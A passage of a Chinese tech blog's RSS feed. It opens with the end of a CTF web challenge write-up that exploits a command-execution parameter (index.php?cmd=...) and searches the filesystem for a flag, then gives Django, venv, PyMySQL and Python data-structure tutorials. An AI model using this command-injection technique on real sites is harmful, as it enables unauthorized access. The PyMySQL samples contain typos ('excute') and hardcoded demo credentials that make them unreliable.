        <![CDATA[<h1 id="1-运行环境"><a href="#1-运行环境" class="headerlink" title="1.运行环境"></a>1.运行环境</h1><p>进入首页 返回 index.php?cmd&#x3D;ls &#x2F;tmp</p><h1 id="2-将其拼接到浏览器-url-栏后面"><a href="#2-将其拼接到浏览器-url-栏后面" class="headerlink" title="2.将其拼接到浏览器 url 栏后面"></a>2.将其拼接到浏览器 url 栏后面</h1><p>发现输出了一段文字，但是看的不是很明显，CTRL+U 查看页面源代码</p><p>发现有两行东西，这就说明这个目录下面就一个index.php 文件</p><p>推测执行了 ls 系统命令</p><h1 id="3-替换其他指令查找-flag"><a href="#3-替换其他指令查找-flag" class="headerlink" title="3.替换其他指令查找 flag"></a>3.替换其他指令查找 flag</h1><p>执行下列命令</p><div class="code-wrapper"><pre><code class="hljs bash">find / -name <span class="hljs-string">&#x27;*flag*&#x27;</span></code></pre></div><p>获得flag</p><p>flag-{bmh8bd27630-a4fd-4bfa-a7c8-61af1a1f0f0b}</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Python-Django开发</title>
      <link>https://blog.lixey.top/Python-Django%E5%BC%80%E5%8F%91/</link>
      <description>
        <![CDATA[<h1 id="创建虚拟环境"><a href="#创建虚拟环境" class="headerlink" title="创建虚拟环境"></a>创建虚拟环境</h1><ul>
<li>创建 env 环境</li>
</ul>
<div class="code-wrapper"><]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E5%BC%80%E5%8F%91/">开发</category>
      <category domain="https://blog.lixey.top/tags/Python/">Python</category>
      <category domain="https://blog.lixey.top/tags/Django/">Django</category>
      <pubDate>Tue, 01 Jul 2025 03:52:06 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="创建虚拟环境"><a href="#创建虚拟环境" class="headerlink" title="创建虚拟环境"></a>创建虚拟环境</h1><ul><li>创建 env 环境</li></ul><div class="code-wrapper"><pre><code class="hljs bash">python -m venv <span class="hljs-built_in">env</span></code></pre></div><ul><li>启动虚拟环境</li></ul><div class="code-wrapper"><pre><code class="hljs bash">./env/Scripts/activate</code></pre></div><h1 id="运行第一个-Django-程序"><a href="#运行第一个-Django-程序" class="headerlink" title="运行第一个 Django 程序"></a>运行第一个 Django 程序</h1><ul><li>安装 django 库</li></ul><div class="code-wrapper"><pre><code class="hljs bash">pip install django</code></pre></div><ul><li>初始化 django 项目</li></ul><div class="code-wrapper"><pre><code class="hljs bash">django-admin startproject website</code></pre></div><ul><li>启动 django 项目</li></ul><div class="code-wrapper"><pre><code class="hljs bash">python ./website/manage.py runserver</code></pre></div><ul><li>切换端口号</li></ul><div class="code-wrapper"><pre><code class="hljs bash">python manage.py runserver 8888</code></pre></div><h2 id="修改首页并输出-Hello-world"><a href="#修改首页并输出-Hello-world" class="headerlink" title="修改首页并输出 Hello world"></a>修改首页并输出 Hello world</h2><ul><li>在根目录下新建 views.py</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-comment"># views.py</span><span class="hljs-keyword">from</span> django.http <span class="hljs-keyword">import</span> HttpResponse<span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>(<span class="hljs-params">request</span>):  <span class="hljs-keyword">return</span> HttpResponse(<span class="hljs-string">&quot;Hello world&quot;</span>)</code></pre></div><ul><li>修改 urls.py 文件</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-comment">#urls.py</span><span class="hljs-keyword">from</span> django.contrib <span class="hljs-keyword">import</span> admin<span class="hljs-keyword">from</span> django.urls <span class="hljs-keyword">import</span> path<span class="hljs-keyword">from</span> . <span class="hljs-keyword">import</span> views   <span class="hljs-comment">#导入 views.py </span>urlpatterns = [    path(<span class="hljs-string">&#x27;admin/&#x27;</span>, admin.site.urls),    path(<span class="hljs-string">&#x27;&#x27;</span>,views.index,name=<span class="hljs-string">&quot;asd&quot;</span>), ]</code></pre></div><h1 id="django-admin-命令详解"><a href="#django-admin-命令详解" class="headerlink" title="django-admin 命令详解"></a>django-admin 命令详解</h1><ul><li>查看 django-admin 提供的所有命令</li></ul><div class="code-wrapper"><pre><code class="hljs bash">django-admin <span class="hljs-built_in">help</span></code></pre></div><h2 id="创建新项目"><a href="#创建新项目" class="headerlink" title="创建新项目"></a>创建新项目</h2><div class="code-wrapper"><pre><code class="hljs bash">django-admin startproject</code></pre></div><p>在当前目录下创建一个新的django项目，包括最基本的目录</p><ul><li>项目名称 &#x2F;: 项目主目录<ul><li>__init__ .py</li><li>settings.py 配置文件</li><li>urls.py : URL路由配置</li><li>wsgi.py ：WSGI 应用入口</li></ul></li></ul><h2 id="创建新应用"><a href="#创建新应用" class="headerlink" title="创建新应用"></a>创建新应用</h2><div class="code-wrapper"><pre><code class="hljs pyhon">django-admin startapp 应用名称</code></pre></div><p>创建一个新的 django 应用，包含：</p><ul><li>migrations&#x2F;：数据库迁移文件目录</li><li><em>_init</em>_.py</li><li>admin.py：管理后台配置</li><li>apps.py：应用配置</li><li>models.py：数据库模型定义</li><li>tests.py：测试代码</li><li>views.py：试图函数</li></ul><h2 id="检查项目配置"><a href="#检查项目配置" class="headerlink" title="检查项目配置"></a>检查项目配置</h2><div class="code-wrapper"><pre><code class="hljs bash">django-admin check</code></pre></div><p>这个命令会检查 django 项目是否有配置错误，包括：</p><ul><li>模型定义是否正确</li><li>url 配置是否有效</li><li>模板设置是否正确</li><li>静态文件配置等</li></ul><h2 id="数据库迁移"><a href="#数据库迁移" class="headerlink" title="数据库迁移"></a>数据库迁移</h2><p>django 使用迁移系统来管理数据库模式变更</p><div class="code-wrapper"><pre><code class="hljs bash">django-admin makemigrations <span class="hljs-comment"># 创建迁移文件</span>django-admin migrate        <span class="hljs-comment"># 应用迁移到数据库</span></code></pre></div><h2 id="创建超级用户"><a href="#创建超级用户" class="headerlink" title="创建超级用户"></a>创建超级用户</h2><blockquote><p>引导用户创建一个可以访问django 管理后台的超级用户</p></blockquote><div class="code-wrapper"><pre><code class="hljs bash">django-admin createsuperuser</code></pre></div><h1 id="django-admin-常用命令"><a href="#django-admin-常用命令" class="headerlink" title="django-admin 常用命令"></a>django-admin 常用命令</h1><table><thead><tr><th>命令</th><th>描述</th></tr></thead><tbody><tr><td>startproject</td><td>创建一个新的django项目</td></tr><tr><td>startapp</td><td>创建一个新的django应用</td></tr><tr><td>runserver</td><td>启动开发服务器</td></tr><tr><td>makemigrations</td><td>生成数据库迁移文件</td></tr><tr><td>migrate</td><td>执行数据库迁移</td></tr><tr><td>shell</td><td>启动 django 交互式shell</td></tr><tr><td>collectstatic</td><td>收集静态文件（用于生产环境）</td></tr><tr><td>test</td><td>运行单元测试</td></tr><tr><td></td><td></td></tr></tbody></table>]]>
      </content:encoded>
    </item>
    <item>
      <title>Python创建env虚拟环境</title>
      <link>https://blog.lixey.top/Python%E5%88%9B%E5%BB%BAenv%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83/</link>
      <description>
        <![CDATA[<h1 id="创建虚拟环境"><a href="#创建虚拟环境" class="headerlink" title="创建虚拟环境"></a>创建虚拟环境</h1><div class="code-wrapper"><pre><code class="hljs bash">py]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E5%BC%80%E5%8F%91/">开发</category>
      <category domain="https://blog.lixey.top/tags/Python/">Python</category>
      <pubDate>Tue, 01 Jul 2025 03:40:47 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="创建虚拟环境"><a href="#创建虚拟环境" class="headerlink" title="创建虚拟环境"></a>创建虚拟环境</h1><div class="code-wrapper"><pre><code class="hljs bash">python -m venv <span class="hljs-built_in">env</span></code></pre></div><h1 id="启动虚拟环境"><a href="#启动虚拟环境" class="headerlink" title="启动虚拟环境"></a>启动虚拟环境</h1><div class="code-wrapper"><pre><code class="hljs python">./env/scripts/activate</code></pre></div>]]>
      </content:encoded>
    </item>
    <item>
      <title>Python-PyMySQL</title>
      <link>https://blog.lixey.top/Python-PyMySQL/</link>
      <description>
        <![CDATA[<h1 id="安装-PyMySQL"><a href="#安装-PyMySQL" class="headerlink" title="安装 PyMySQL"></a>安装 PyMySQL</h1><div class="code-wrapper"><pre><code clas]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E5%BC%80%E5%8F%91/">开发</category>
      <category domain="https://blog.lixey.top/tags/Mysql/">Mysql</category>
      <category domain="https://blog.lixey.top/tags/Python/">Python</category>
      <pubDate>Sun, 29 Jun 2025 07:06:34 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="安装-PyMySQL"><a href="#安装-PyMySQL" class="headerlink" title="安装 PyMySQL"></a>安装 PyMySQL</h1><div class="code-wrapper"><pre><code class="hljs bash">pip install PyMySQL</code></pre></div><h1 id="操作数据库"><a href="#操作数据库" class="headerlink" title="操作数据库"></a>操作数据库</h1><blockquote><p>开启 mysql 地址为 localhost:3306 用户名为 root 密码为 root</p></blockquote><ul><li>创建数据库连接</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">import</span> pymysqldbconn = pymysql.connect(  host=<span class="hljs-string">&#x27;localhost&#x27;</span>,  user=<span class="hljs-string">&#x27;root&#x27;</span>,  password=<span class="hljs-string">&#x27;root&#x27;</span>,  database=<span class="hljs-string">&#x27;test&#x27;</span>)</code></pre></div><ul><li>使用 cursor() 方法创建一个游标对象 cursor</li></ul><div class="code-wrapper"><pre><code class="hljs python">cursor = dbconn.cursor()</code></pre></div><ul><li>使用 excute() 方法执行sql查询</li></ul><div class="code-wrapper"><pre><code class="hljs python">cursor.excute(<span class="hljs-string">&quot;select user()&quot;</span>)</code></pre></div><ul><li>使用 fetchone() 方法获取一条数据</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-built_in">str</span> = cursor.fetchone()</code></pre></div><ul><li>关闭数据库连接</li></ul><div class="code-wrapper"><pre><code class="hljs python">dbconn.close()</code></pre></div><ul><li>创建数据表</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-comment">#!/usr/bin/python3</span> <span class="hljs-keyword">import</span> pymysql <span class="hljs-comment"># 打开数据库连接</span>db = pymysql.connect(host=<span class="hljs-string">&#x27;localhost&#x27;</span>,                     user=<span class="hljs-string">&#x27;testuser&#x27;</span>,                     password=<span class="hljs-string">&#x27;test123&#x27;</span>,                     database=<span class="hljs-string">&#x27;TESTDB&#x27;</span>) <span class="hljs-comment"># 使用 cursor() 方法创建一个游标对象 cursor</span>cursor = db.cursor() <span class="hljs-comment"># 使用 execute() 方法执行 SQL，如果表存在则删除</span>cursor.execute(<span class="hljs-string">&quot;DROP TABLE IF EXISTS EMPLOYEE&quot;</span>) <span class="hljs-comment"># 使用预处理语句创建表</span>sql = <span class="hljs-string">&quot;&quot;&quot;CREATE TABLE EMPLOYEE (</span><span class="hljs-string">         FIRST_NAME  CHAR(20) NOT NULL,</span><span class="hljs-string">         LAST_NAME  CHAR(20),</span><span class="hljs-string">         AGE INT,  </span><span class="hljs-string">         SEX CHAR(1),</span><span class="hljs-string">         INCOME FLOAT )&quot;&quot;&quot;</span> cursor.execute(sql) <span class="hljs-comment"># 关闭数据库连接</span>db.close()</code></pre></div><h1 id="使用预处理方法防止SQL注入"><a href="#使用预处理方法防止SQL注入" class="headerlink" title="使用预处理方法防止SQL注入"></a>使用预处理方法防止SQL注入</h1><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-comment">#!/usr/bin/python3</span> <span class="hljs-keyword">import</span> pymysql <span class="hljs-comment"># 打开数据库连接</span>db = pymysql.connect(host=<span class="hljs-string">&#x27;localhost&#x27;</span>,                     user=<span class="hljs-string">&#x27;testuser&#x27;</span>,                     password=<span class="hljs-string">&#x27;test123&#x27;</span>,                     database=<span class="hljs-string">&#x27;TESTDB&#x27;</span>) <span class="hljs-comment"># 使用 cursor() 方法创建一个游标对象 cursor</span>cursor = db.cursor() sql = <span class="hljs-string">&#x27;SELECT * FROM user where username = %s&#x27;</span> cursor.execute(sql,(username,))<span class="hljs-comment"># 关闭数据库连接</span>db.close()</code></pre></div>]]>
      </content:encoded>
    </item>
    <item>
      <title>Python-列表、元组、字典、集合</title>
      <link>https://blog.lixey.top/Python-%E5%88%97%E8%A1%A8%E3%80%81%E5%85%83%E7%BB%84%E3%80%81%E5%AD%97%E5%85%B8%E3%80%81%E9%9B%86%E5%90%88/</link>
      <description>
        <![CDATA[<h1 id="数据结构"><a href="#数据结构" class="headerlink" title="数据结构"></a>数据结构</h1><ul>
<li>序列类型：列表、元组、字符串</li>
<li>映射类型：字典</li>
<li>集合类型：集合、冻结集合</l]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/tags/Python/">Python</category>
      <category domain="https://blog.lixey.top/tags/%E5%BC%80%E5%8F%91/">开发</category>
      <category domain="https://blog.lixey.top/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/">数据结构</category>
      <pubDate>Sun, 29 Jun 2025 04:38:57 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="数据结构"><a href="#数据结构" class="headerlink" title="数据结构"></a>数据结构</h1><ul><li>序列类型：列表、元组、字符串</li><li>映射类型：字典</li><li>集合类型：集合、冻结集合</li></ul><h1 id="列表-List"><a href="#列表-List" class="headerlink" title="列表 (List)"></a>列表 (List)</h1><blockquote><p>列表是Python中最灵活的有序的集合类型</p></blockquote><h2 id="列表的基本特性"><a href="#列表的基本特性" class="headerlink" title="列表的基本特性"></a>列表的基本特性</h2><ul><li>有序的集合，元素按照插入的顺序排列</li><li>可变，可以修改内容</li><li>可以包含任意类型的对象 , 可以嵌套使用</li><li>使用方括号[]，元素之间用逗号分隔</li></ul><p>eg :</p><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-built_in">list</span> = [<span class="hljs-number">123</span>,<span class="hljs-string">&#x27;test&#x27;</span>,<span class="hljs-number">1.2</span>,<span class="hljs-number">1e10</span>,[<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>]]</code></pre></div><h2 id="底层实现"><a href="#底层实现" class="headerlink" title="底层实现"></a>底层实现</h2><blockquote><p>列表实际上是一个动态数组，而不是链表</p><p>列表在内存中分配的空间通常比实际需要的多，这是为了优化追加的操作</p><p>平均世间复杂度为o(1)</p><p>列表元素在内存中不连续存储，列表只存储指向各个元素的指针</p></blockquote><h2 id="创建列表"><a href="#创建列表" class="headerlink" title="创建列表"></a>创建列表</h2><ul><li>普通方式</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-built_in">list</span> = []<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">10</span>):<span class="hljs-built_in">list</span>.append(i)</code></pre></div><ul><li>推导式</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-built_in">list</span> = [i <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">10</span>)]<span class="hljs-comment">##带有条件的情况</span><span class="hljs-built_in">list</span> = [i <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">10</span>) <span class="hljs-keyword">if</span> i % <span class="hljs-number">2</span> == <span class="hljs-number">0</span>]</code></pre></div><h2 id="列表的输出"><a href="#列表的输出" class="headerlink" title="列表的输出"></a>列表的输出</h2><blockquote><p>与字符串的索引一样，列表索引从0开始，第二个索引为1，最后一个元素的索引也可以是-1</p></blockquote><ul><li>直接输出</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-built_in">list</span> = [<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>,<span class="hljs-number">6</span>]<span class="hljs-built_in">print</span>(<span class="hljs-built_in">list</span>)</code></pre></div><ul><li>访问列表中的值</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-built_in">list</span> = [<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>,<span class="hljs-number">6</span>]<span class="hljs-built_in">print</span>(<span class="hljs-built_in">list</span>[<span class="hljs-number">1</span>])</code></pre></div><ul><li>截取字符串</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-built_in">list</span> = [<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>,<span class="hljs-number">6</span>]<span class="hljs-built_in">print</span>(<span class="hljs-built_in">list</span>[<span class="hljs-number">1</span>:<span class="hljs-number">3</span>])</code></pre></div><h2 id="更新列表"><a href="#更新列表" class="headerlink" title="更新列表"></a>更新列表</h2><blockquote><p>使用 append() 方法</p></blockquote><p>eg：</p><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-built_in">list</span> = [<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>,<span class="hljs-number">6</span>]<span class="hljs-built_in">list</span>.append(<span class="hljs-number">7</span>)<span class="hljs-built_in">print</span>(<span class="hljs-built_in">list</span>)</code></pre></div><h2 id="删除列表元素"><a href="#删除列表元素" class="headerlink" title="删除列表元素"></a>删除列表元素</h2><blockquote><ol><li>使用del语句</li><li>使用 remove() 方法</li><li>使用 pop() 方法</li></ol></blockquote><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-built_in">list</span> = [<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>,<span class="hljs-number">6</span>]<span class="hljs-built_in">list</span>.pop(<span class="hljs-number">1</span>)<span class="hljs-keyword">del</span> <span class="hljs-built_in">list</span>[<span class="hljs-number">1</span>]<span class="hljs-built_in">list</span>.remove(<span class="hljs-number">1</span>)<span class="hljs-built_in">print</span>(<span class="hljs-built_in">list</span>)</code></pre></div><h2 id="列表脚本操作符"><a href="#列表脚本操作符" class="headerlink" title="列表脚本操作符"></a>列表脚本操作符</h2><table><thead><tr><th>表达式</th><th>描述</th></tr></thead><tbody><tr><td>len([1,2,3])</td><td>长度</td></tr><tr><td>[1,2,3]+[4,5,6]</td><td>组合</td></tr><tr><td>[1]*4</td><td>重复</td></tr><tr><td>3 in [1,2,3]</td><td>元素是否存在列表中</td></tr><tr><td>for x in [1,2,3]:print(x,end&#x3D;” “)</td><td>迭代</td></tr></tbody></table><h2 id="列表常用函数-方法"><a href="#列表常用函数-方法" class="headerlink" title="列表常用函数&amp;方法"></a>列表常用函数&amp;方法</h2><ul><li>python 包含一下函数</li></ul><table><thead><tr><th>函数</th><th>描述</th></tr></thead><tbody><tr><td>len()</td><td>列表元素个数</td></tr><tr><td>max()</td><td>返回最大值</td></tr><tr><td>min()</td><td>返回最小值</td></tr><tr><td>list(seq)</td><td>将元组转换为列表</td></tr></tbody></table><ul><li>python 包含以下方法</li></ul><table><thead><tr><th>方法</th><th>描述</th></tr></thead><tbody><tr><td>list.append()</td><td>在列表末尾追加新的对象</td></tr><tr><td>list.count()</td><td>统计某个元素在列表中出现的次数</td></tr><tr><td>list.extend()</td><td>在列表末尾一次性追加另一个序列中的多个值</td></tr><tr><td>list.index()</td><td>从列表中找出某个值第一个匹配项的索引位置</td></tr><tr><td>list.insert(index, obj)</td><td>将对象插入列表</td></tr><tr><td>list.pop()</td><td>移除列表中第一个元素（默认最后一个元素），并且返回该元素的值</td></tr><tr><td>list.remove()</td><td>移除列表中某个值的第一个匹配项</td></tr><tr><td>list.reverse()</td><td>反向列表中的元素</td></tr><tr><td>list.sort(key&#x3D;None,reverse&#x3D;False)</td><td>对列表进行排序</td></tr><tr><td>list.clear()</td><td>清空列表</td></tr><tr><td>list.copy()</td><td>复制</td></tr></tbody></table><h1 id="元组（Tuple）"><a href="#元组（Tuple）" class="headerlink" title="元组（Tuple）"></a>元组（Tuple）</h1><blockquote><p>元组与列表类似，不同之处在于元组的元素不能修改</p><p>元组使用 () 小括号，列表使用方括号 []</p><p>元组创建很简单，只需要在括号中添加元素，并使用逗号隔开</p></blockquote><p>eg：</p><div class="code-wrapper"><pre><code class="hljs python">tup1 = (<span class="hljs-string">&quot;Google&quot;</span>,<span class="hljs-string">&quot;baidu&quot;</span>,<span class="hljs-string">&quot;github&quot;</span>,<span class="hljs-string">&quot;bing&quot;</span>)</code></pre></div><p>创建空元组</p><div class="code-wrapper"><pre><code class="hljs python">tup1 = ()</code></pre></div><blockquote><p>注意：当元组中只包含一个元素时，需要在元素后面加逗号. 否则括号会被当做运算符使用</p></blockquote><h2 id="访问元组"><a href="#访问元组" class="headerlink" title="访问元组"></a>访问元组</h2><p>和列表一样，元组可以使用下标索引来访问元组中的值</p><p>eg：</p><div class="code-wrapper"><pre><code class="hljs python">tup1 = (<span class="hljs-string">&quot;Google&quot;</span>,<span class="hljs-string">&quot;baidu&quot;</span>,<span class="hljs-string">&quot;github&quot;</span>,<span class="hljs-string">&quot;bing&quot;</span>)<span class="hljs-built_in">print</span> (<span class="hljs-string">&quot;tup1[0]: &quot;</span>, tup1[<span class="hljs-number">0</span>])</code></pre></div><h2 id="修改元组"><a href="#修改元组" class="headerlink" title="修改元组"></a>修改元组</h2><blockquote><p>元组中的元素是不允许被修改的，但是可以对元组进行连接组合</p></blockquote><p>eg：</p><div class="code-wrapper"><pre><code class="hljs python">tup1 = (<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>)tup2 = (<span class="hljs-number">4</span>,<span class="hljs-number">5</span>)<span class="hljs-comment">#tup1[0]=0  这种操作是非法的</span>tup3 = tup1 + tup2</code></pre></div><h2 id="删除元组"><a href="#删除元组" class="headerlink" title="删除元组"></a>删除元组</h2><blockquote><p>元组中的元素值不允许被删除，但是可以使用del 语句来删除整个元组</p></blockquote><p>eg：</p><div class="code-wrapper"><pre><code class="hljs python">tup1 = (<span class="hljs-string">&quot;Google&quot;</span>,<span class="hljs-string">&quot;baidu&quot;</span>,<span class="hljs-string">&quot;github&quot;</span>,<span class="hljs-string">&quot;bing&quot;</span>)<span class="hljs-keyword">del</span> tup1</code></pre></div><h2 id="元组的运算"><a href="#元组的运算" class="headerlink" title="元组的运算"></a>元组的运算</h2><blockquote><p>与字符串一样，元组之间可以使用 +、+&#x3D;、*号进行运算</p></blockquote><p>eg： 复制</p><div class="code-wrapper"><pre><code class="hljs python">tup1 = (<span class="hljs-string">&quot;asd&quot;</span>,)*<span class="hljs-number">4</span></code></pre></div><h2 id="元组的内置函数"><a href="#元组的内置函数" class="headerlink" title="元组的内置函数"></a>元组的内置函数</h2><blockquote><p>基本和列表相同，不再赘述</p></blockquote><p>计算个数、最大值、最小值</p><table><thead><tr><th>方法</th><th>描述</th></tr></thead><tbody><tr><td>tuple(iterable)</td><td>将可迭代系列转换为元组</td></tr></tbody></table><h1 id="字典（Dict）"><a href="#字典（Dict）" class="headerlink" title="字典（Dict）"></a>字典（Dict）</h1><blockquote><p>字典是另一种可变容器模型，且可存储任意类型对象</p><p>字典的每个键值 key&#x3D;&gt;value 用冒号:分割，每个对之间用逗号分隔，整个字典包括在花括号中</p></blockquote><div class="code-wrapper"><pre><code class="hljs python">d = &#123;key1 : value1, key2 : value2, key3 : value3 &#125;</code></pre></div><blockquote><p>注意：dict作为python的关键字和内置函数，变量名不建议命名为dict</p></blockquote><p>键 必须是唯一的，但值不必</p><p>值可以取任何数据类型，但键必须是不可变的，如字符串，数字</p><div class="code-wrapper"><pre><code class="hljs python">tinydict = &#123;<span class="hljs-string">&#x27;name&#x27;</span>: <span class="hljs-string">&#x27;runoob&#x27;</span>, <span class="hljs-string">&#x27;likes&#x27;</span>: <span class="hljs-number">123</span>, <span class="hljs-string">&#x27;url&#x27;</span>: <span class="hljs-string">&#x27;www.runoob.com&#x27;</span>&#125;</code></pre></div><h2 id="创建空字典"><a href="#创建空字典" class="headerlink" title="创建空字典"></a>创建空字典</h2><ul><li>使用花括号 {} 创建空字典</li></ul><div class="code-wrapper"><pre><code class="hljs python">emptyDict = &#123;&#125;</code></pre></div><ul><li>使用内置函数 dict() 创建空字典</li></ul><div class="code-wrapper"><pre><code class="hljs python">emptyDict = <span class="hljs-built_in">dict</span>()</code></pre></div><h2 id="访问字典中的值"><a href="#访问字典中的值" class="headerlink" title="访问字典中的值"></a>访问字典中的值</h2><div class="code-wrapper"><pre><code class="hljs python">tinydict = &#123;<span class="hljs-string">&#x27;Name&#x27;</span>: <span class="hljs-string">&#x27;Runoob&#x27;</span>, <span class="hljs-string">&#x27;Age&#x27;</span>: <span class="hljs-number">7</span>, <span class="hljs-string">&#x27;Class&#x27;</span>: <span class="hljs-string">&#x27;First&#x27;</span>&#125; <span class="hljs-built_in">print</span> (<span class="hljs-string">&quot;tinydict[&#x27;Name&#x27;]: &quot;</span>, tinydict[<span class="hljs-string">&#x27;Name&#x27;</span>])<span class="hljs-built_in">print</span> (<span class="hljs-string">&quot;tinydict[&#x27;Age&#x27;]: &quot;</span>, tinydict[<span class="hljs-string">&#x27;Age&#x27;</span>])</code></pre></div><h2 id="修改字典"><a href="#修改字典" class="headerlink" title="修改字典"></a>修改字典</h2><div class="code-wrapper"><pre><code class="hljs python">tinydict = &#123;<span class="hljs-string">&#x27;Name&#x27;</span>: <span class="hljs-string">&#x27;Runoob&#x27;</span>, <span class="hljs-string">&#x27;Age&#x27;</span>: <span class="hljs-number">7</span>, <span class="hljs-string">&#x27;Class&#x27;</span>: <span class="hljs-string">&#x27;First&#x27;</span>&#125; tinydict[<span class="hljs-string">&#x27;Age&#x27;</span>] = <span class="hljs-number">8</span>               <span class="hljs-comment"># 更新 Age</span>tinydict[<span class="hljs-string">&#x27;School&#x27;</span>] = <span class="hljs-string">&quot;菜鸟教程&quot;</span>  <span class="hljs-comment"># 添加信息</span></code></pre></div><h2 id="删除字典中的元素"><a href="#删除字典中的元素" class="headerlink" title="删除字典中的元素"></a>删除字典中的元素</h2><ul><li>使用del 语句删除字典</li></ul><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-comment"># 删除键‘Name’</span><span class="hljs-keyword">del</span> qweDict[<span class="hljs-string">&#x27;Name&#x27;</span>]<span class="hljs-comment"># 删除整个字典</span><span class="hljs-keyword">del</span> qweDict</code></pre></div><blockquote><p>del 删除后整个字典不再存在</p></blockquote><ul><li>清空字典</li></ul><div class="code-wrapper"><pre><code class="hljs python">qweDict.clear()</code></pre></div><h2 id="字典键的特性"><a href="#字典键的特性" class="headerlink" title="字典键的特性"></a>字典键的特性</h2><ul><li>不允许同一个键出现两次，创建时同一个键如果被赋值两次，后一个值会被记住</li><li>键必须不可变，所以可以用数字，字符串或元组充当，而列表就不行</li></ul><h2 id="字典内置函数-方法"><a href="#字典内置函数-方法" class="headerlink" title="字典内置函数&amp;方法"></a>字典内置函数&amp;方法</h2><ul><li>python字典包含以下内置函数</li></ul><table><thead><tr><th>函数</th><th>描述</th></tr></thead><tbody><tr><td>len()</td><td>计算元素个数</td></tr><tr><td>str()</td><td>输出字典</td></tr><tr><td>type()</td><td>返回输入的变量类型，如果变量是字典，就返回字典类型</td></tr></tbody></table><ul><li>python字典包含以下内置方法</li></ul><table><thead><tr><th>方法</th><th>描述</th></tr></thead><tbody><tr><td>dict.clear()</td><td>删除字典内所有元素</td></tr><tr><td>dict.copy()</td><td>返回一个字典的浅复制</td></tr><tr><td>dict.formkeys()</td><td>创建一个新的字典，以序列seq中元素做字典的键，val为字典所有键对应的初始值</td></tr><tr><td>dict.get(key, default&#x3D;None)</td><td>返回执行键的值，如果键不在字典中返回default 设置的默认值</td></tr><tr><td>key in dict</td><td>如果键在字典返回true，否返回false</td></tr><tr><td>dict.items()</td><td>以列表返回一个试图对象</td></tr><tr><td>dict.keys()</td><td>返回一个试图对象</td></tr><tr><td>dict.setdefault(key,dafault&#x3D;None)</td><td>和get()类似，但如果键不在字典中，将回添加键并将值设为default</td></tr><tr><td>dict.update(dict2)</td><td>把字典dict2的键值对更新到dict中</td></tr><tr><td>dict.values()</td><td>返回一个试图对象</td></tr><tr><td>dict.pop(key)</td><td>删除字典key所对应的值，并返回被删除的值</td></tr><tr><td>dict.popitem()</td><td>返回并删除字典中最后一对键和值</td></tr></tbody></table><h1 id="集合（Set）"><a href="#集合（Set）" class="headerlink" title="集合（Set）"></a>集合（Set）</h1><blockquote><p>集合是一个无序的不重复的元素序列</p><p>集合中的元素不会重复，并且可以进行交集，并集，差集等常见的集合操作</p><p>可以使用花括号{}创建集合，元素之间用逗号，分隔，或者也可以使用set()函数创建</p></blockquote><p>eg：</p><div class="code-wrapper"><pre><code class="hljs python">set1 = &#123;<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>&#125;set2 = <span class="hljs-built_in">set</span>([<span class="hljs-number">5</span>,<span class="hljs-number">6</span>,<span class="hljs-number">7</span>])</code></pre></div><blockquote><p>注意：创建空集合时必须用set()函数，因为 {} 用来创建一个空字典</p></blockquote><h2 id="集合内置方法整合表"><a href="#集合内置方法整合表" class="headerlink" 